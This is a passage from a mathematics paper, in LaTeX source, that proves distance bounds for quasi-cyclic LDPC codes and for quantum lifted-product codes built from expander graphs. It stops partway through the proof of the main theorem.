The~next lemma shows that if $G$ is a~sufficiently good expander and $\mathcal{C}_0,\mathcal{C}_0^\perp$ have relatively large minimum distances, then both $H$~and~$H^\mathrm{T}$ are $(\alpha,\beta)$-expanding for any size of~$G$.
\begin{lemma}\label{lm:alpha-beta-exp}
Let $H$ be the parity-check matrix of~$\mathcal{T}(G,\mathcal{C}_0)$, where $G$ is a~$(2n, w, \lambda)$-expander\textup{;} $\mathcal{C}_0$~is~a~${[w, w - r,d]}$~code.
If~$\lambda < \delta w$, ${d \ge \delta w}$ and $d(\mathcal{C}_0^\perp) \ge \delta w$, then the~binary matrices $H$, $H^\mathrm{T}$ are \mbox{$(\alpha, \beta)$-expanding} for all $\alpha < \frac{\delta}{w}\rbr{1-\frac{\lambda}{\delta w}}$ and ${\beta=\frac{1}{\delta w}\rbr{\delta-\alpha w-\frac{\lambda}{w}}}$.
\end{lemma}
\begin{comment}
\begin{lemma}\label{lm:alpha-beta-exp}
Let $H$ be the parity-check matrix of~$\mathcal{T}(G,\mathcal{C}_0)$, where $G$ is a~$(2n, w, \lambda)$-expander\textup{;} $\mathcal{C}_0$~is~a~${[w, w - r, \delta w]}$~code.
If~$\lambda < \delta w$ and $d(\mathcal{C}_0^\perp) \ge \delta w$, then $H$, $H^\mathrm{T}$ are \mbox{$(\alpha, \beta)$-expanding} for all $\alpha < \frac{\delta}{w}\rbr{1-\frac{\lambda}{\delta w}}$ and ${\beta=\frac{1}{\delta w}\rbr{\delta-\alpha w-\frac{\lambda}{w}}}$.
\end{lemma}
\end{comment}
\begin{proof}
Let us start with a quick remark that the~conditions ${\lambda < \delta w}$ and ${\alpha < \frac{\delta}{w}\rbr{1-\frac{\lambda}{\delta w}}}$ imply that $\frac{\delta}{w}\rbr{1-\frac{\lambda}{\delta w}} > 0$ and $\beta > 0$.
We~divide the~proof into two parts. In~the~first part we show that the~matrix~${H\in\Mat_{2rn\times wn}(\mathbb{F}_2)}$ is \mbox{$(\alpha, \beta)$-expanding}, while in the second part that the same holds for~$H^\mathrm{T}$.
Consider a~binary vector $x\in\mathbb{F}_2^{wn}$ such that $\abs{x} \le \alpha w n$. Let~$X\subseteq E(G)$ be the corresponding set of edges, where the~bits from~$x$ are equal to~$1$. We divide the set of vertices incident to some edges from $X$ into two parts: the~set~$S$ of vertices incident to \emph{at least} $\delta w$ edges from $X$; and the~set~$S'$ of vertices incident to \emph{less than} $\delta w$ edges from~$X$. One~can easily check\footnote{Each edge from $X$ is connected to at most $2$ vertices from $S$.} that $\abs{S} \le 2 \abs{X}/\delta w$. Hence from $\abs{X} \le \alpha wn$ it also follows that $\abs{S}\le 2\alpha n/\delta$, and we can estimate the~number of edges from $X$ connected only to $S$ by~Lemma~\ref{lm:EML}:
\begin{equation*}
\abs{E(S)} \le \frac12\rbr{\frac{\alpha}{\delta}+\frac{\lambda}{w}}w\abs{S}\le \rbr{\frac{\alpha}{\delta^2}+\frac{\lambda}{\delta w}}\abs{X}.
\end{equation*}
Therefore we have:
\[
\abs{X\setminus E(S)}\ge \abs{X}-\abs{E(S)}\ge \rbr{1-\frac{\alpha}{\delta^2}-\frac{\lambda}{\delta w}} \abs{X}.
\]
For each edge from $X\setminus E(S)$ one of the two vertices it connects is outside of $S$; hence this vertex is in~$S'$. Since $S'$ is connected to less than $\delta w$ edges from $X$, we can estimate the size of $S'$ as follows:
\[
\abs{S'} > \frac{\abs{X\setminus E(S)}}{\delta w} \ge \frac{1}{\delta w}\rbr{1-\frac{\alpha}{\delta^2}-\frac{\lambda}{\delta w}}\abs{X}.
\]
Since $d(\mathcal{C}_0) \ge \delta w$, for each $v\in S'$ the parity-checks of the code $\mathcal{C}_0$ that correspond to $v$ can not be simultaneously satisfied. Therefore we have
\begin{multline*}
\abs{Hx} \ge \abs{S'} > \frac{1}{\delta w}\rbr{1-\frac{\alpha}{\delta^2}-\frac{\lambda}{\delta w}}\abs{X} \\
\ge \frac{1}{\delta w}\rbr{1-\frac{\alpha w}{\delta}-\frac{\lambda}{\delta w}}\abs{X}
= \frac{\beta}{\delta} \abs{x} \ge \beta\abs{x},
\end{multline*}
where we used that $1/\delta \le w$ and $\delta \le 1$.
Hence we see that $\abs{x} \le \alpha w n$ implies $\abs{H x} \ge \beta \abs{x}$. Thus $H$ is $(\alpha, \beta)$-expanding, and the first part of the proof is complete.
Now let us prove that $H^\mathrm{T}$ is also $(\alpha, \beta)$-expanding. Hence we need to show that
for any $y\in \mathbb{F}_2^{2rn}$ such that $\abs{y}\le 2\alpha rn$ we have $\abs{H^\mathrm{T} y} \ge \beta \abs{y}$. As we already mentioned, $H$ consists of $2n$ groups of rows $(\mathcal{R}_v)_{v\in V(G)}$, where each group $\mathcal{R}_v$ corresponds to the~$r$ parity-checks of~$\mathcal{C}_0$ related to the vertex $v\in V(G)$. Thus $H^\mathrm{T} y= \sum_{v\in S} \rho_v$, where $\rho_v$ is a linear combination of the~rows from the group $\mathcal{R}_v$ and $S$ is the set of vertices $v\in V(G)$ such that $\mathcal{R}_v$ contains at least one row from the linear combination $H^\mathrm{T} y$. Since $\rho_v|_{N(v)}$ is a~linear combination of rows from~$H_0$ and $d(\mathcal{C}_0^\perp) \ge \delta w$, we see\footnote{We have $\rho_v \ne 0$ since the~rows in $H_0$ are linearly independent.} that $\abs{\rho_v} \ge \delta w$ for all $v\in S$. Let us note that $\abs{\rho_v\cap\rho_{v'}}=0$ for $v\ne v'$ unless the vertices~$v,v'$ are connected by an~edge from $E(S)$, in which case we have $\abs{\rho_v\cap\rho_{v'}} \le 1$. Moreover, $\abs{\bigcap_{v\in I}\rho_v} = 0$ if $\abs{I} > 2$. Therefore we obtain that
\begin{multline*}
\abs{H^\mathrm{T} y} = \Big|\sum_{v\in S} \rho_v\Big| = \sum_{v\in S} \abs{\rho_v} - 2\!\!\!\sum_{\substack{v\ne v'\\v,v'\in S}}\abs{\rho_v\cap\rho_{v'}} \\
\ge \sum_{v\in S} \abs{\rho_v} - 2\abs{E(S)}
\ge \delta w\abs{S} - 2\abs{E(S)}.
\end{multline*}
Since $\abs{S}\le \abs{y} \le 2\alpha r n$, if we apply Lemma~\ref{lm:EML} to the~set~$S$, we obtain that $\abs{E(S)} \le \frac12\rbr{\alpha r + \frac{\lambda}{w}}w\abs{S}$ and
\begin{multline*}
\abs{H^\mathrm{T} y} \ge \delta w\abs{S} - 2\abs{E(S)} \ge \rbr{\delta - \alpha r - \frac{\lambda}{w}}w\abs{S}\\
\ge \rbr{\delta - \alpha w - \frac{\lambda}{w}}\abs{y} = \delta w\beta \abs{y} \ge
\beta \abs{y},
\end{multline*}
where we used that $w \ge r$, $w\abs{S} \ge r\abs{S}\ge\abs{y}$, and $\delta w \ge 1$. Hence we proved that $\abs{y}\le 2\alpha rn$ implies $\abs{H^\mathrm{T} y} \ge \beta \abs{y}$ and the second part is complete.
\end{proof}
\begin{proof}[Proof of Proposition~\ref{pr:alpha-beta}]
It is known~\cite{Friedman:2003, Puder:2015} that \mbox{a~random} \mbox{$w$-regular} graph $G$ w.h.p. has $\lambda(G) < 2\sqrt{w - 1} + 1$. Thus for any~sufficiently large $n\ge n_0$ there exists\footnote{We should also mention the reference~\cite[Theorem~1.3]{Alon:2021} where an~explicit construction of such graphs is given.} \mbox{a~$w$-regular} graph~$G$ with $2n$~vertices such that ${\lambda(G) < 2\sqrt{w - 1} + 1}$. At~the~same time, it is known~\cite{Agarwal:2019} that for some positive constants $c_1,c_2$ for a random shift \mbox{$\ell$-lift} $\hat{G}$ of $G$ we have $\lambda(\hat{G}) \le c_1\lambda(G)$ with probability at least $1 - \ell\exp(-c_2 n/w^2)$. Hence if we choose a~sufficiently large\footnote{It is enough to use $\gamma = \max(\ceil{w^2/c_2}, n_0)$.}~$\gamma$ this probability is positive for all $\ell > 1$, $n \ge \gamma \log_2 \ell$; and therefore there exists a~shift $\ell$-lift $\hat{G}$ of $G$ such that
\begin{equation}\label{eq:lift-exp}
\lambda(\hat{G}) < c_1\!\rbr{2\sqrt{w - 1} + 1}.
\end{equation}
Now consider $\varepsilon \in (0, 1)$, and let $\delta$ be some real number from the~interval $(0,1/2)$ such that the following inequality holds:
\begin{equation}\label{eq:GV}
\max(1- \varepsilon/2, \varepsilon/2) + \varepsilon/4 \ <\ 1 - h_2(\delta),
\end{equation}
where $h_2(x) = -x\log_2 x - (1-x)\log_2(1-x)$ is \mbox{the~binary} \mbox{entropy} function. Let $\mathcal{C}_0$ be a~code defined by a~uniformly random parity-check matrix~$H_0\in\Mat_{r\times w}(\mathbb{F}_2)$, where ${r = \floor{\frac{\varepsilon}{2} w}}$. Since $1-r/w\to 1 - \varepsilon/2$ and $r/w\to \varepsilon/2$ as ${w\to\infty}$, taking into account (\ref{eq:GV}), the~Gilbert–Varshamov bound implies that for \emph{every} sufficiently large $w$ w.h.p. we have
\begin{equation}\label{eq:code-ine}
d(\mathcal{C}_0) \ge \delta w,\quad d(\mathcal{C}_0^\perp) \ge \delta w,
\end{equation}
and the~matrix $H_0$ is full rank. Indeed, let us remind that the~Gilbert–Varshamov bound can be proved~\cite{Barg&Forney:2002} using a~code defined either by a~random parity-check matrix or a~random generator matrix (i.e., the~parity-check matrix of the~dual code), and w.h.p. those matrices are full rank. Therefore by the~union bound we see that w.h.p $\mathcal{C}_0$ is a~$[w,w-r]$ code that satisfy (\ref{eq:code-ine}) as $w\to\infty$.
Hence if we consider a~Tanner code~$\mathcal{T}(\hat{G},\mathcal{C}_0)$ with the code $\mathcal{C}_0$ that satisfy (\ref{eq:code-ine}), and choose a sufficiently large $w$ such that we also have
\[c_1\!\rbr{2\sqrt{w - 1} + 1} < \delta w,\]
then using (\ref{eq:lift-exp}) by~Lemma~\ref{lm:alpha-beta-exp} we obtain that the~matrices $H, H^\mathrm{T}$ are $(\alpha, \beta)$-expanding for some positive constants $\alpha,\beta$; where $H$ is the~parity-check matrix of the~code~$\mathcal{T}(\hat{G},\mathcal{C}_0)$.
Since $\hat{G}$ is a~shift $\ell$-lift for $G$, according to Remark~\ref{rm:QC-tanner} we can assume that the~matrix~$H$ is a~QC matrix of lift size~$\ell$, i.e., $H = \mathbb{B}(A)$ for some \mbox{$w$-limited} matrix~$A\in\Mat_{m\times wn}(R_\ell)$, where $n \ge \gamma \log_2 \ell$, and $m = 2\floor{\frac{\varepsilon}{2} w}n\le \varepsilon w n$. Now since the~matrices $H=\mathbb{B}(A)$, $H^\mathrm{T} = \mathbb{B}(A^*)$ are $(\alpha,\beta)$-expanding, we see that $A$ and $A^*$ are $(\alpha,\beta)$-expanding. Finally, since the antipode map $u\mapsto \bar{u}$ is an~automorphism of $R_\ell$, and $|A^\mathrm{T} u| = |\overline{A^\mathrm{T} u}| = |A^* \bar{u}|$, we also obtain that the matrix~$A^\mathrm{T}$ is $(\alpha,\beta)$-expanding, and the~proof is complete.
\end{proof}
\subsection{Asymptotically good QC LDPC codes with large lift sizes}
Proposition~\ref{pr:alpha-beta} can be used to construct asymptotically good families of classical QC~LDPC codes of very large lift sizes~$\ell$. Indeed, if we put $n = \ceil{\gamma \ln \ell}$ and $\varepsilon = 1 - R$ in~Proposition~\ref{pr:alpha-beta}, then we obtain the code~$\mathcal{C}(A)$ of rate at~least $R$ and distance at~least $\alpha N$, where $N$ is the~code length. Moreover since $\log N \sim \log \ell$, and $n = \Theta(\log N)$ as~$N\to\infty$, we obtain the~following corollary.
\begin{corollary}\label{cor:QC-dist}
For any $R < 1$ there exists a~family of classical QC~LDPC codes of length $N$ and rate at least $R$ with distance~$\Omega(N)$ and lift size~$\Omega(N/\log N)$ as~$N\to\infty$.
\end{corollary}
We will see below that the lift size $\Omega(N/\log N)$ from Corollary~\ref{cor:QC-dist} is in some sense the~best possible for QC LDPC codes and even for quasi-abelian LDPC codes with linear minimum distance. More specifically, we will show using the~results from~\cite{Smarandache:2012} that: for any~family of quasi-abelian LDPC~codes of distance $\Omega(N)$, defined by $m\times n$ parity-check matrices with $m < n$ over commutative group algebras, the~lift size grows at most like $O(N/\log N)$ as the~code length~$N\to\infty$.
Before we prove this we need some definitions and notations from~\cite{Smarandache:2012}. If $A$ is an $m\times n$ matrix and $I\subseteq [n]$, then we denote by $A_{I}$ the $m\times\abs{I}$ submatrix of~$A$ that contains only the columns of $A$ with indexes from the~set~$I$. If $X$ is a~finite set and $f$ is a real-valued function on $X$, we denote by $\underset{x\in X}{\mathrm{min}^*} f(x)$ the \emph{minimum nonzero value} of $f(x)$ on~$X$; if there are no nonzero values then $\min^*$ gives $+\infty$. Let us remind that the~\emph{permanent} of an~integer matrix~$A = (a_{i j})_{n\times n}$ denoted by $\perm A$ is given by the following formula:
\[
\perm A = \sum_{\pi\in \mathbf{S}_n} a_{1, \pi(1)} \dots a_{n, \pi(n)}.
\]
Thus $\perm A$ is essentially $\det A$ if we ignore the signatures of the permutations $\pi\in \mathbf{S}_n$. If all elements from $A$ are non-negative integers then we have the following trivial upper bound:
\begin{equation}\label{eq:perm-triv}
\perm A \le \prod_{j\in [n]} (a_{1 j} +\dots + a_{n j}).
\end{equation}
If we have a~matrix $H = (h_{i j})_{m\times n}$ over $\mathbb{F}_2G$, where $G$ is some abelian group of size $\ell$; then we can consider its~weight matrix $W = (w_{i j})_{m\times n}$, where $w_{i j} = \abs{h_{i j}}$ is the~row and the~column weight of each $\ell\times\ell$ block in $H$ (considered as a binary block matrix), $i\in [m], j\in [n]$. If we fix the~weight matrix $W$ and consider matrices $H$ with $\ell\to\infty$, it is natural to expect that $d(\mathcal{C}(H)) \to\infty$. However it turns out~\cite[Theorem~7]{Smarandache:2012} that when $m < n$ there is an upper bound\footnote{In~\cite{Smarandache:2012} the bound is proved only for QC~matrices, but the way it is proved in~\cite{Butler&Siegel:2013} can be easily extended to matrices over abelian group algebras.} on the minimum distance $d$ of the code~$\mathcal{C}(H)$ that depends only the weight matrix $W$, which implies that $d$ doesn't grow with the lift size~$\ell$. The upper bound is as follows:
\begin{equation}\label{eq:QC-perm}
d\le \underset{\substack{S\subseteq [n]\\ \abs{S}=m+1}}{\mathrm{min}^*} \sum_{i\in S} \perm W_{S\setminus i}.
\end{equation}
\begin{remark}
We should emphasize that if $m=n$, then this bound does not work anymore, and the~distance~$d$ can grow linearly with the~lift size~$\ell$. For example, if $H \in\Mat_{n}(R_\ell)$ is given by the formula:
\[
\mat{H} =
\begin{pmatrix}
1 & 1 & 0 & \ldots & 0\\
0 & 1 & 1 & \ldots & 0\\
\hdotsfor{5}\\
0 & 0 & \ldots & 1 & 1\\
x & 0 & \ldots & 0 & 1\\
\end{pmatrix},
\]
then $H$ is a~$2$-limited matrix, but $d=\ell n$.
\end{remark}
Let us now return to the case when $m < n$.
If the matrix $H$ is $w$-limited and\footnote{The $w$-limited matrices with $w\le 1$ define trivial codes with minimum distance $1$.} $w\ge 2$, then the sum of elements in any row and column of the weight matrix~$W$ is bounded above by $w$. Hence the same holds for every its submatrix $W_{S\setminus i}$ from bound (\ref{eq:QC-perm}). Thus using~(\ref{eq:perm-triv}) we obtain from~(\ref{eq:QC-perm}) that $d \le (m+1)w^m$. Now suppose that the~minimum distance $d$ of the~code~$\mathcal{C}(H)$ is~$\Omega(N)$ as $N\to\infty$, i.e., $d \ge \alpha N$ for some fixed $\alpha > 0$. In~this case we have:
\[
\alpha N \le (m+1)w^m \le 2^m w^m\le w^{2m} < w^{2n}.
\]
Hence $\alpha N < w^{2n}$, $n = \Omega(\log N)$, and finally we obtain that $\ell = N/n$ is bounded above by~$O(N/\log N)$ as $N\to\infty$.
\section{LP codes with almost linear distance}\label{sc:lp-linear-dist}
This section contains the~proof of our main result. We consider the~special case of QC LP codes, studied in Section~\ref{sc:GHP}, and prove Proposition~\ref{pr:main}, which is the~main technical tool to establish the~lower bound on the~code distance. Finally, we combine this lower bound with our results on expanding matrices from Section~\ref{sc:expanders} to show the~existence of QLDPC codes with almost linear distance.
\begin{proposition}\label{pr:main}
Let $A\in\Mat_{m\times n}(R_\ell)$ be a~$w$-limited QC matrix such that $A$ and $A^\mathrm{T}$ are $(\alpha, \beta)$-expanding. Consider a~quantum code~$\mathcal{Q} = \mathrm{LP}(A,1+x)$. There exists a~constant $\gamma > 0$, that depends only on $\alpha$, $\beta$, and $w$, such that\textup{:}
\begin{enumerate}
\item $d(\mathcal{Q}) \ge \gamma\ell$\textup{;}
\item If $\dim \mathcal{C}(A^\mathrm{T}(1)) = 0$ then $d_{\mathrm{Z}}(\mathcal{Q}) \ge \gamma \ell n$\textup{;}
\item If $\dim \mathcal{C}(A(1)) = 0$ then $d_{\mathrm{X}}(\mathcal{Q}) \ge \gamma \ell m$.
\end{enumerate}
\end{proposition}
In order to prove Proposition~\ref{pr:main} we need two simple lemmas. Below by $\ones{\ell}$ we denote the~\emph{all~one polynomial}~$\sum_{i=0}^{\ell-1} x^i$.
\begin{lemma}\label{lm:LP-simple-cws}
Consider a quantum code~$\mathcal{Q} = \mathrm{LP}(A, 1+x)$, where $A\!\in\!\Mat_{m\times n}(R_\ell)$, and let ${B=A(1)\!\in\!\Mat_{m\times n}(\mathbb{F}_2)}$. Then every non-degenerate codeword ${[u, v] \in\mathcal{C}_{\mathrm{Z}}(\mathcal{Q})\setminus\mathcal{C}_{\mathrm{X}}^\perp(\mathcal{Q})}$ satisfies one of the following two conditions\textup{:}
\begin{enumerate}
\item $u(1)$ is a non-zero codeword from $\mathcal{C}(B)\subseteq \mathbb{F}_2^n$\textup{;}
\item $[u,v]\sim [\mathbf{0}, \ones{\ell}v']$ for some ${v'\in \mathbb{F}_2^m\setminus \im B}$\textup{;} and we have $u = (1+x)h$, $v = \ones{\ell}v' + Ah$, where ${h\in R_\ell^n}$, $\abs{h_i} \le \ell/2$, $i\in[n]$.
\end{enumerate}
\end{lemma}
\begin{proof}
First, we describe the~equivalence classes of codewords in~$\mathcal{C}_{\mathrm{Z}}=\mathcal{C}_{\mathrm{Z}}(Q)$. From the~definition of $\mathcal{Q}$ it easily follows that
\begin{equation}\label{eq:lp-simple-cws}
\begin{split}
[u, v]\in\mathcal{C}_{\mathrm{Z}} &\iff Au = (1+x)v; \\
[u, v]\in\mathcal{C}_{\mathrm{X}}^\perp &\iff \exists h\in R_\ell^n\colon u = (1+x)h, v = A h;
\end{split}
\end{equation}
and $[u, v]\in\mathcal{C}_{\mathrm{Z}}$ is equivalent to $[u',v']\in\mathcal{C}_{\mathrm{Z}}$ iff there exists $h\in R_\ell^n$ such that
\begin{equation}\label{eq:lp-simple-degen}
u' - u = (1+x)h, \quad v' - v = Ah.
\end{equation}
Hence if $[u, v]\in \mathcal{C}_{\mathrm{Z}}(\mathcal{Q})$ then $A(1)u(1) = \mathbf{0}$, and we have $u(1)\in \mathcal{C}(B)$. Therefore when $u(1)\ne \mathbf{0}$ we obtain that $[u,v]$ satisfies the~first condition of the~lemma.
Now let us suppose that $u(1) = \mathbf{0}$. In this case we see that ${u = (1+x)h}$ for some $h\in R_\ell^n$. Let us note that we can always choose $h$ such that $\abs{h_i} \le \ell/2$, $i\in[n]$. Indeed, if it does not have this property, then we can replace it with $h'$ such that $(1+x)h' = (1+x)h$, defined by
\[
h'_i =
\begin{cases}
h_i, & \text{if } \abs{h_i} \le \ell/2;\\
h_i + \ones{\ell}, & \text{if } \abs{h_i} > \ell/2.
\end{cases}
\]
Hence we can assume that we have $h$ with the desired property, and from (\ref{eq:lp-simple-degen}) it follows that $[u,v] \sim [\mathbf{0}, r]$, where $r = v + Ah$. Since $[\mathbf{0}, r]$ is a non-degenerate codeword from~$\mathcal{C}_{\mathrm{Z}}(\mathcal{Q})$, we see that $r\ne \mathbf{0}$, and $(1+x)r = \mathbf{0}$. Thus we have $r = \ones{\ell}v'$, where $v'\in\mathbb{F}_2^m$, and obtain that:
\[
v = r + Ah = \ones{\ell}v' + Ah.
\]
We claim that $v'\not\in \im B$. Indeed, otherwise $v' = Bs$ for some $s\in\mathbb{F}_2^n$, and it is easy to see that $r = A \ones{\ell} s$ in this case. Hence we have ${[\mathbf{0},r]\sim [\mathbf{0},\mathbf{0}]}$, and obtain~a contradiction with the fact that $[\mathbf{0},r]$ is a~non-degenerate codeword. This proves that $v'\not\in \im B$, and $[u,v]$ satisfies the~second condition of the~lemma.
\end{proof}
\begin{lemma}\label{lm:autcorr}
For any vector~$a\in R_{\ell}^n$, where $\abs{a_i} \le \ell/2$, $i\in [n]$, there exists $t$ such that $\abs{(1 + x^t)a} \ge \abs{a}$.
\end{lemma}
\begin{proof}
Since $|a| = |x^t a|$ for any $t$, we have
\[|(1+x^t) a|=|a|+|x^t a|-2|a\cap x^t a| = 2(|a|-|a\cap x^t a|).\]
It is not hard to see that:
\[
\sum_{i=0}^{\ell-1}|a\cap x^i a|=\sum_{j=1}^{n}\sum_{i=0}^{\ell-1}|a_j\cap x^i a_j| = \sum_{j=1}^n |a_j|^2.
\]
Since $|a_i| \le \ell/2$, $i\in [n]$, we obtain
\[
\sum_{i=0}^{\ell-1}|a\cap x^i a|=\sum_{j=1}^n |a_j|^2\le \sum_{j=1}^n |a_j|\frac{\ell}{2}=\frac{1}{2}|a|\ell.
\]
Therefore we have:
\[\sum_{t=0}^{\ell-1}\!|(1+x^t)a|=2\!\sum_{i=0}^{\ell-1}\!|a|-2\!\sum_{t=0}^{\ell-1}\!|a\cap x^t a| \ge 2|a|\ell-|a|\ell=|a|\ell,\]
and there should exists $t$ such that $\abs{(1 + x^t)a} \ge \abs{a}$.
\end{proof}
\begin{proof}[Proof of Proposition~\ref{pr:main}]
Since $A$ and $A^\mathrm{T}$ are $(\alpha,\beta)$-expanding matrices, we see that
\[
d(\mathcal{C}(A)) \ge \alpha \ell n, \quad d(\mathcal{C}(A^\mathrm{T})) \ge \alpha \ell m.
\]
Let $B = A(1)\in \Mat_{m\times n}(\mathbb{F}_2)$ be the base matrix for the QC matrix~$A$. It is clear that if $c\in \mathcal{C}(B)$ then $\ones{\ell} c\in \mathcal{C}(A)$. Hence we obtain that $d(\mathcal{C}(A)) \le \ell d(\mathcal{C}(B))$ and by the same argument $d(\mathcal{C}(A^\mathrm{T})) \le \ell d(\mathcal{C}(B^\mathrm{T}))$. Thus we have
\[
d(\mathcal{C}(B)) \ge \alpha n, \quad d(\mathcal{C}(B^\mathrm{T})) \ge \alpha m.
\]
Consider a~non-degenerate codeword~$c=\![u, v]\!\in\! \mathcal{C}_{\mathrm{Z}}(\!\mathcal{Q})\!\setminus\!\mathcal{C}_{\mathrm{X}}^\perp\!(\!\mathcal{Q})$. From Lemma~\ref{lm:LP-simple-cws} it follows that $u(1)\in \mathcal{C}(B)$, and we have only two cases:
\begin{enumerate}
\item $u(1) \ne \mathbf{0}$, and thus $\abs{u(1)} \ge \alpha n$, since $u(1)\in \mathcal{C}(B)$;
\item $u(1) = \mathbf{0}$, and thus $c\sim [0,\ones{\ell} v']$ for some $v'\in \mathbb{F}_2^m\setminus\{\mathbf{0}\}$.
\end{enumerate}
Let us consider each case separately.
\textbf{Case 1.} In this case we have $\abs{u(1)} \ge \alpha n$. Let us show that $\abs{c} = \abs{u} + \abs{v} \ge \gamma_1\ell n$, where $\gamma_1 = \min(\alpha/2, \alpha\beta/4)$. If~$\abs{u} > \alpha \ell n/2$ then we are done. Now suppose we have $\abs{u} \le \alpha \ell n/2$. We claim that $\abs{v}\ge \alpha\beta \ell n/4$. Indeed, consider
\[u^{(t)} = \ones{t}u, \quad s^{(t)} = A u^{(t)},\]
where $\ones{t} = \sum_{i=0}^{t-1}x^i$, $t\in [\ell]$. Since for any $t\in [\ell]$ we have $(1+x)\ones{t} = 1 + x^t$, it follows that:
\[
s^{(t)} = A u\ones{t} = (1+x)v\ones{t} = (1+x^t)v,
\]
where we use that $Au = (1+x)v$ by (\ref{eq:lp-simple-cws}).
Besides, we see that $\abs{u^{(1)}} = \abs{u} \le \alpha \ell n/2$ and $\abs{u^{(\ell)}} = \abs{\ones{\ell} \cdot u(1)} \ge \alpha \ell n$. Hence we can consider the minimal $t_0$ such that $\abs{u^{(t_0 + 1)}} \ge \alpha \ell n$. Since $u^{(t_0 + 1)} = u^{(t_0)} + x^{t_0 + 1}u$ and $\abs{ x^{t_0 + 1}u} = \abs{u} \le \alpha \ell n/2$, we obtain
\[\abs{u^{(t_0)}} \ge \abs{u^{(t_0 + 1)}} - \abs{u} \ge \alpha \ell n/2.\]
Finally, using that $s^{(t_0)} = (1 + x^{t_0})v$, $\alpha \ell n/2 \le \abs{u^{(t_0)}} < \alpha \ell n$, and the~fact that $A$ is $(\alpha,\beta)$-expanding, we have:
\[ \abs{v} \ge \frac12 \abs{s^{(t_0)}} = \frac12 \abs{A u^{(t_0)}} \ge \frac{\beta}{2}\abs{u^{(t_0)}}\ge \frac{\alpha\beta}{4} \ell n,\]
and the claim is proved. Therefore in all cases we see that $\abs{c} \ge \gamma_1\ell n$.
\textbf{Case 2.}
In this case $u = (1+x)h$, $v = \ones{\ell}v' + Ah$; where ${v'\in \mathbb{F}_2^m\setminus \{\mathbf{0}\}}$, ${h\in R_\ell^n}$, and $\abs{h_i} \le \ell/2$, $i\in[n]$. We~show that either ${\abs{u} \ge \gamma_2 \ell}$ or ${\abs{v} \ge \gamma_2 \ell}$, where $\gamma_2 = \frac{\alpha}{4w}\min(\beta, 1)$. Assume the~converse, then $\abs{u} < \gamma_2\ell$ and $\abs{v} < \gamma_2\ell$. Since $Ah = v + \ones{\ell}v'$, for every $t\in [\ell]$ we get:
\[
|(1 + x^t)Ah| = |v + \ones{\ell}v' + x^t v + x^t\ones{\ell}v'| = |v + x^t v| < 2\gamma_2\ell,
\]
where we use that $x^t \ones{\ell} = \ones{\ell}$. Further, since $A$~is~\mbox{$w$-limited}, $\abs{\ones{\ell}v'}\ge \ell$, $\abs{v} \le \gamma_2\ell\le \ell/2$, and $\alpha < 1$, we obtain:
\[
\abs{h} \ge \frac{\abs{Ah}}{w} = \frac{\abs{v + \ones{\ell}v'}}{w}
\ge \frac{\abs{\ones{\ell}v'} - \abs{v}}{w} \ge \frac{\ell}{2w} \ge \frac{\alpha\ell}{2w}.
\]
Moreover, if we consider $w_t = \abs{(1 + x^t)h}$, then by Lemma~\ref{lm:autcorr} there exists $t$ such that $w_t \ge \frac{\alpha\ell}{2w}$. Let us denote by $t_0$ the~smallest such~$t$. Since $1+x^{t_0} = (1 + x) + x(1 + x^{t_0 - 1})$, $\abs{(1+x)h} = \abs{u} \le \gamma_2\ell$, and $\abs{x(1+x^{t_0 - 1})h} = w_{t_0 - 1} < \frac{\alpha\ell}{2w}$, we see that
\begin{multline*}
\abs{(1+x^{t_0})h} \le \abs{(1+x)h} + \abs{x(1+x^{t_0 - 1})h} \\
< \rbr{\gamma_2 + \frac{\alpha}{2w}}\ell
\le \rbr{\frac{\alpha}{4w} + \frac{\alpha}{2w}}\ell
= \frac{3}{4w}\alpha\ell < \alpha \ell n.
\end{multline*}
Therefore, if we recall that the~matrix~$A$ is $(\alpha,\beta)$-expending, then from $\abs{(1+x^{t_0})h} < \alpha \ell n$ it follows that
\[
\abs{A(1+x^{t_0})h} \ge \beta w_{t_0} \ge \beta \frac{\alpha\ell}{2w} \ge 2\gamma_2\ell.
\]
However, we showed earlier that $\abs{A(1+x^{t})h} < 2\gamma_2\ell$ for every $t\in [\ell]$. Hence we have a~contradiction and obtain that in the second case $\abs{c} = \abs{u} + \abs{v} \ge \gamma_2\ell$.
Now, in order to finish the proof of Proposition~\ref{pr:main}, we need to set $\gamma = \min(\gamma_1,\gamma_2)$ and notice that $d_{\mathrm{Z}}(\mathcal{Q}) \ge \gamma \ell$ in the~both considered cases. Besides, if $\dim \mathcal{C}(A^\mathrm{T}(1)) = 0$ then $\im A(1) = \mathcal{C}^\perp(A^\mathrm{T}(1)) = \mathbb{F}_2^m$, and by Lemma~(\ref{lm:LP-simple-cws}) we do not have case~2. Thus in this situation we obtain a~better lower bound ${d_{\mathrm{Z}}(\mathcal{Q}) \ge \gamma \ell n}$.
At the same time, from (\ref{eq:LP-dual-dim}) it follows that $d_{\mathrm{X}}(\mathcal{Q}) = d_{\mathrm{Z}}(\mathrm{LP}(A^\mathrm{T}, 1+x))$. Therefore since $A^\mathrm{T}$ is also $(\alpha,\beta)$-expanding, we see, using exactly the same arguments as before, that $d_{\mathrm{X}}(\mathcal{Q}) \ge \gamma \ell$, and $d_{\mathrm{X}}(\mathcal{Q}) \ge \gamma \ell m$ in the~case when $\dim \mathcal{C}(A(1)) = 0$. This completes the~proof.
\end{proof}
Now we are ready to prove our main result.
\begin{proof}[Proof of Theorem~\ref{th:main1}]
By Proposition~\ref{pr:alpha-beta} for every $\ell > 1$ there exists a~$w$-limited matrix $A\in \Mat_{m\times wn}(R_\ell)$, $n = \ceil{\gamma \ln\ell}$, $m\le \frac12 w n$, such that $A$ and $A^\mathrm{T}$ are $(\alpha, \beta)$-expanding, where $\alpha$, $\beta$, $\gamma$, and $w$ are some fixed constants. Consider a~quantum code~$\mathcal{Q} = \mathrm{LP}(A, 1+x)$. It~has the~code length $N=\ell (wn+m)$, and since ${\log N \sim \log \ell}$, and ${n = \Theta(\log N)}$ as $N\to\infty$, using~(\ref{eq:lp-simple-dim}) the~dimension of~$\mathcal{Q}$ is equal to ${K = \Theta(n) = \Theta(\log N)}$.
Moreover, Proposition~\ref{pr:main} implies that $d(\mathcal{Q})\ge \gamma \ell$.
Let us show the~upper bound $d(\mathcal{Q}) \le \ell = \Omega(N/\log N)$.
